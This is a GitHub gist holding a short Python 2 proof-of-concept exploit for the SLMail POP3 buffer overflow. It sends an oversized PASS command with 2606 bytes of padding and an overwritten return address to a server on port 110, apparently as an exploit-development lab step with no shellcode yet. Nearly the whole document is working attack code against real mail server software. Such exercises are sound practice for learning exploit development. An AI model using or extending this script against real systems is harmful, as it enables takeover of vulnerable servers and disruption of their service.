Skip to content

Instantly share code, notes, and snippets.

@loopspell
Last active May 24, 2019 14:34
Show Gist options
  • Save loopspell/e647f8d4c9be280e72188a446e1934d8 to your computer and use it in GitHub Desktop.
Save loopspell/e647f8d4c9be280e72188a446e1934d8 to your computer and use it in GitHub Desktop.
SLMail Buffer Overflow
#!/usr/bin/python
import socket
# adding RET to verify breakpoint hit in little endian format
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(30)
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + 'C' * 350
try:
print "\nSending Data..."
s.connect(('192.168.1.200',110))
data = s.recv(1024)
s.send('USER test' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nSent Sucessfully"
except socket.timeout:
print "Could not connect to POP3 Service!"
exit(0)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment